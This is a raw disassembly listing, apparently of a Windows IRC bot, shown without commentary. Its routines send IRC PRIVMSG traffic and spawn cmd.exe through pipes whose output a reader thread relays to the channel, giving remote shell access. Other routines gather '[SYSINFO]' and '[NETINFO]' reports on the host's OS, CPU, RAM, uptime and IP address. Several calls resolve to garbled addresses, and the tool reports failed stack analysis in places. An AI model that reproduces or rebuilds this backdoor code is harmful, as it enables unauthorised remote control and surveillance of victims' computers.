mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40B237
mov [ebp+var_24], eax
loc_40B237: ; CODE XREF: sub_40B112+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40B24B
mov [ebp+var_28], esi
loc_40B24B: ; CODE XREF: sub_40B112+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40B26C
loc_40B252: ; CODE XREF: sub_40B112+158j
call sub_41730C
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40B252
loc_40B26C: ; CODE XREF: sub_40B112+13Ej
; sub_40B112+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40B2CB
push 0Bh
pop esi
loc_40B279: ; CODE XREF: sub_40B112+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43ADFC
push [ebp+var_28]
call near ptr 2610E88h
nop
dec esi
jnz short loc_40B279
cmp [ebp+var_24], edi
jnz short loc_40B26C
call sub_41730C
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43AD98
mov [ebp+var_E], ax
jmp short loc_40B26C
; ---------------------------------------------------------------------------
loc_40B2CB: ; CODE XREF: sub_40B112+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42DB10
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B30B
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40D679
add esp, 14h
loc_40B30B: ; CODE XREF: sub_40B112+1D7j
lea eax, [ebp+var_334]
push eax
call sub_40BF6D
push [ebp+var_20]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 261031Eh
nop
sub_40B112 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap
; sub_40B390+7Ep ...
mov eax, dword_43B0E4
push esi
mov esi, dword_424078
cmp eax, 0FFFFFFFFh
jz short loc_40B33C
push eax
call esi
loc_40B33C: ; CODE XREF: sub_40B328+Fj
mov eax, dword_43B0EC
cmp eax, 0FFFFFFFFh
jz short loc_40B349
push eax
call esi
loc_40B349: ; CODE XREF: sub_40B328+1Cj
mov eax, dword_43B0E0
cmp eax, 0FFFFFFFFh
jz short loc_40B356
push eax
call esi
loc_40B356: ; CODE XREF: sub_40B328+29j
pop esi
retn
sub_40B328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap
; sub_40EE72+4881p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_417AB0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43B0E8
call near ptr 2650000h
nop
test eax, eax
jnz short loc_40B38B
call sub_40B328
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B38B: ; CODE XREF: sub_40B358+28j
push 1
pop eax
leave
retn
sub_40B358 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B390 proc near ; CODE XREF: sub_40B417+D3p
; sub_40B417+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_436EDC
push [ebp+arg_4]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B3D3
push 7D0h
nop
call near ptr 2610E88h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4172B0
add esp, 10h
jmp short loc_40B3EA
; ---------------------------------------------------------------------------
loc_40B3D3: ; CODE XREF: sub_40B390+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_4172B0
add esp, 0Ch
loc_40B3EA: ; CODE XREF: sub_40B390+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43ADE8
test eax, eax
jg short loc_40B413
call sub_40B328
loc_40B413: ; CODE XREF: sub_40B390+7Cj
xor eax, eax
leave
retn
sub_40B390 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B417 proc near ; DATA XREF: sub_40B56C+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43B0F0
loc_40B42F: ; CODE XREF: sub_40B417+79j
; sub_40B417+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43B0E4
call near ptr 2790474h
nop
test eax, eax
jz loc_40B4FD
cmp [ebp+var_4], edi
jnz short loc_40B492
lea eax, [ebp+var_8]
push eax
push dword_43B0E0
nop
call near ptr 2790000h
test eax, eax
jz short loc_40B488
cmp [ebp+var_8], 103h
jnz loc_40B521
loc_40B488: ; CODE XREF: sub_40B417+62j
push 0Ah
nop
call near ptr 2610E88h
jmp short loc_40B42F
; ---------------------------------------------------------------------------
loc_40B492: ; CODE XREF: sub_40B417+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40B4A9
loc_40B499: ; CODE XREF: sub_40B417+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40B4F7
inc eax
cmp eax, [ebp+var_4]
jb short loc_40B499
loc_40B4A9: ; CODE XREF: sub_40B417+80j
mov [ebp+var_4], esi
loc_40B4AC: ; CODE XREF: sub_40B417+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43B0E4
call near ptr 2640000h
nop
test eax, eax
jz short loc_40B549
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43B124
call sub_40B390
add esp, 0Ch
jmp loc_40B42F
; ---------------------------------------------------------------------------
loc_40B4F7: ; CODE XREF: sub_40B417+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40B4AC
; ---------------------------------------------------------------------------
loc_40B4FD: ; CODE XREF: sub_40B417+45j
push offset dword_42DC0C
push ebx
push dword_43B124
call sub_40B390
push [ebp+arg_0]
call sub_417078
add esp, 10h
push 1
nop
call near ptr 261031Eh
loc_40B521: ; CODE XREF: sub_40B417+6Bj
call sub_40B328
push offset dword_42DBD4
push ebx
push dword_43B124
call sub_40B390
push [ebp+arg_0]
call sub_417078
add esp, 10h
push edi
nop
call near ptr 261031Eh
loc_40B549: ; CODE XREF: sub_40B417+C3j
push offset dword_42DB94
push ebx
push dword_43B124
call sub_40B390
push [ebp+arg_0]
call sub_417078
add esp, 10h
push edi
call near ptr 261031Eh
nop
sub_40B417 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B56C proc near ; CODE XREF: sub_40C351+99p
; sub_40EE72+5774p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40B328
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43AE54
test eax, eax
jz loc_40B666
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_424140
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_40B666
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_40B666
mov edi, dword_42413C
push 3
push esi
push esi
push offset dword_43B0E8
call edi
push eax
push [ebp+var_8]
call edi
push eax
call near ptr 27A0000h
nop
test eax, eax
jz short loc_40B666
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_417330
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_436EDC
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 2760BE6h
nop
test eax, eax
jnz short loc_40B66E
loc_40B666: ; CODE XREF: sub_40B56C+2Fj
; sub_40B56C+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40B71C
; ---------------------------------------------------------------------------
loc_40B66E: ; CODE XREF: sub_40B56C+F8j
push [ebp+var_4]
mov edi, dword_424078
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43B0E4, eax
mov eax, [ebp+var_8]
mov dword_43B0EC, eax
mov eax, [ebp+var_2C]
mov dword_43B0E0, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43B124, eax
jz short loc_40B6A8
push [ebp+arg_4]
jmp short loc_40B6A9
; ---------------------------------------------------------------------------
loc_40B6A8: ; CODE XREF: sub_40B56C+135j
push ebx
loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj
push offset dword_43B0F0
call sub_4172B0
pop ecx
pop ecx
push esi
push 7
push offset dword_42DC90
call sub_416D5C
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_4407F8[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40B417
push esi
push esi
nop
call near ptr 2690C63h
cmp eax, esi
mov dword_440804[edi], eax
jnz short loc_40B71A
nop
call near ptr 2660B07h
push eax
lea eax, [ebp+var_378]
push offset dword_42DC4C
push eax
call sub_4172B0
lea eax, [ebp+var_378]
push eax
call sub_40BF6D
add esp, 10h
loc_40B71A: ; CODE XREF: sub_40B56C+185j
xor eax, eax
loc_40B71C: ; CODE XREF: sub_40B56C+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40B56C endp
; =============== S U B R O U T I N E =======================================
sub_40B721 proc near ; CODE XREF: sub_407110+74p
; sub_40B8D8+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 261077Ch
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_43B12C
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41782A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40B721 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B78A proc near ; CODE XREF: sub_409037+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 27B15DCh
test eax, eax
jz short loc_40B81D
cmp [ebp+var_90], 4
jnz short loc_40B7F3
cmp [ebp+var_8C], esi
jnz short loc_40B7DB
cmp [ebp+var_84], 1
jnz short loc_40B7CE
push 1
pop esi
loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj
cmp [ebp+var_84], 2
jnz short loc_40B81D
push 1
jmp short loc_40B81C
; ---------------------------------------------------------------------------
loc_40B7DB: ; CODE XREF: sub_40B78A+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_40B7E8
loc_40B7E4: ; CODE XREF: sub_40B78A+78j
push 2
jmp short loc_40B81C
; ---------------------------------------------------------------------------
loc_40B7E8: ; CODE XREF: sub_40B78A+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_40B81D
jmp short loc_40B80D
; ---------------------------------------------------------------------------
loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej
cmp [ebp+var_90], 5
jnz short loc_40B81D
cmp [ebp+var_8C], esi
jz short loc_40B7E4
cmp [ebp+var_8C], 1
jnz short loc_40B811
loc_40B80D: ; CODE XREF: sub_40B78A+67j
push 3
jmp short loc_40B81C
; ---------------------------------------------------------------------------
loc_40B811: ; CODE XREF: sub_40B78A+81j
cmp [ebp+var_8C], 2
jnz short loc_40B81D
push 7
loc_40B81C: ; CODE XREF: sub_40B78A+4Fj
; sub_40B78A+5Cj ...
pop esi
loc_40B81D: ; CODE XREF: sub_40B78A+25j
; sub_40B78A+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_40B78A endp
; =============== S U B R O U T I N E =======================================
sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_40B82A: ; CODE XREF: sub_40B822+2Fj
; sub_40B822+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 2610E88h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_419250
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_40B82A
jb short loc_40B859
cmp ebx, esi
ja short loc_40B82A
loc_40B859: ; CODE XREF: sub_40B822+31j
push 0
push 64h
push edi
push ebx
call sub_4191D0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40B8CC
jb short loc_40B878
cmp esi, 50h
jnb short loc_40B87D
loc_40B878: ; CODE XREF: sub_40B822+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40B87D: ; CODE XREF: sub_40B822+54j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B888
cmp esi, 47h
jnb short loc_40B88D
loc_40B888: ; CODE XREF: sub_40B822+5Fj
push 42h
xor edx, edx
pop eax
loc_40B88D: ; CODE XREF: sub_40B822+64j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B898
cmp esi, 37h
jnb short loc_40B89D
loc_40B898: ; CODE XREF: sub_40B822+6Fj
push 32h
xor edx, edx
pop eax
loc_40B89D: ; CODE XREF: sub_40B822+74j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B8A8
cmp esi, 26h
jnb short loc_40B8AD
loc_40B8A8: ; CODE XREF: sub_40B822+7Fj
push 21h
xor edx, edx
pop eax
loc_40B8AD: ; CODE XREF: sub_40B822+84j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B8B8
cmp esi, 1Eh
jnb short loc_40B8BD
loc_40B8B8: ; CODE XREF: sub_40B822+8Fj
push 19h
xor edx, edx
pop eax
loc_40B8BD: ; CODE XREF: sub_40B822+94j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B8C8
cmp esi, 0Ah
jnb short loc_40B8CC
loc_40B8C8: ; CODE XREF: sub_40B822+9Fj
xor eax, eax
xor edx, edx
loc_40B8CC: ; CODE XREF: sub_40B822+4Dj
; sub_40B822+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40B822 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_436EDC
mov [ebp+var_CC], 94h
nop
call near ptr 27B15DCh
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40B95F
cmp [ebp+var_C4], ebx
jnz short loc_40B93B
cmp [ebp+var_BC], 1
jnz short loc_40B925
mov [ebp+var_4], offset a95 ; "95"
loc_40B925: ; CODE XREF: sub_40B8D8+44j
cmp [ebp+var_BC], 2
jnz loc_40B9DA
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40B9AB
; ---------------------------------------------------------------------------
loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40B94D
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40B99B
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B95F: ; CODE XREF: sub_40B8D8+33j
cmp [ebp+var_C8], 5
jnz short loc_40B99B
cmp [ebp+var_C4], ebx
jnz short loc_40B979
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B979: ; CODE XREF: sub_40B8D8+96j
cmp [ebp+var_C4], 1
jnz short loc_40B98B
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B98B: ; CODE XREF: sub_40B8D8+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40B9A2
loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj
; sub_40B8D8+8Ej
mov [ebp+var_4], offset dword_42DDDC
loc_40B9A2: ; CODE XREF: sub_40B8D8+73j
; sub_40B8D8+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40B9DA
loc_40B9AB: ; CODE XREF: sub_40B8D8+61j
cmp [ebp+var_B8], bl
jz short loc_40B9DA
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42DDD4
push eax
call sub_4172B0
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40B9DA: ; CODE XREF: sub_40B8D8+54j
; sub_40B8D8+D1j ...
mov ax, word_42DDD0
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43AC84
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40BA13
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj
push [ebp+arg_4]
call sub_40AEE0
pop ecx
push eax
call dword_43ADD8
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43AD50
cmp eax, ebx
jz short loc_40BA3C
push dword ptr [eax]
jmp short loc_40BA41
; ---------------------------------------------------------------------------
loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40BA41: ; CODE XREF: sub_40B8D8+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2620000h
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2690000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 2680000h
nop
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 27C0000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_4192B8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40D12A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40B721
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
call sub_40B822
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_41782A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40B8D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB8C proc near ; CODE XREF: sub_40EE72+4555p
; sub_40EE72+5A1Fp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_417330
add esp, 0Ch
cmp dword_43AE80, 0
jnz short loc_40BBF8
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43AC68
test eax, eax
jnz short loc_40BBE1
lea eax, [ebp+var_8C]
push offset dword_42DE50
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40BBE1: ; CODE XREF: sub_40BB8C+40j
test [ebp+var_C], 1
jz short loc_40BBEE
push offset dword_42DE48
jmp short loc_40BBF3
; ---------------------------------------------------------------------------
loc_40BBEE: ; CODE XREF: sub_40BB8C+59j
push offset off_42DE44
loc_40BBF3: ; CODE XREF: sub_40BB8C+60j
lea eax, [ebp+var_8]
jmp short loc_40BC10
; ---------------------------------------------------------------------------
loc_40BBF8: ; CODE XREF: sub_40BB8C+28j
mov esi, offset off_42DE40
lea eax, [ebp+var_8]
push esi
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41782A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40BB8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC4B proc near ; DATA XREF: sub_40EE72+4974o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42DF80
call sub_417330
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_417330
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_417330
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_417330
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_417330
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43ACA0
test eax, eax
jz loc_40BDE5
cmp [ebp+var_34], ebx
jbe short loc_40BD22
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD22: ; CODE XREF: sub_40BC4B+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40BD40
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD40: ; CODE XREF: sub_40BC4B+DEj
cmp [ebp+var_20], ebx
jbe short loc_40BD5A
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j
cmp [ebp+var_18], ebx
jbe short loc_40BD74
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD74: ; CODE XREF: sub_40BC4B+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43AD48
call dword_43AD6C
mov esi, eax
cmp esi, ebx
jz short loc_40BDFD
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43AD60
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40BE04
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43AD14
test eax, eax
jz short loc_40BDDE
push offset dword_42DF54
jmp short loc_40BE09
; ---------------------------------------------------------------------------
loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj
push offset unk_42DF08
jmp short loc_40BE09
; ---------------------------------------------------------------------------
loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j
lea eax, [ebp+var_55C]
push offset dword_42DEDC
push eax
call sub_4172B0
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40BE17
; ---------------------------------------------------------------------------
loc_40BDFD: ; CODE XREF: sub_40BC4B+153j
push offset unk_42DEA0
jmp short loc_40BE09
; ---------------------------------------------------------------------------
loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj
push offset unk_42DE60
loc_40BE09: ; CODE XREF: sub_40BC4B+191j
; sub_40BC4B+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40BE42
push ebx
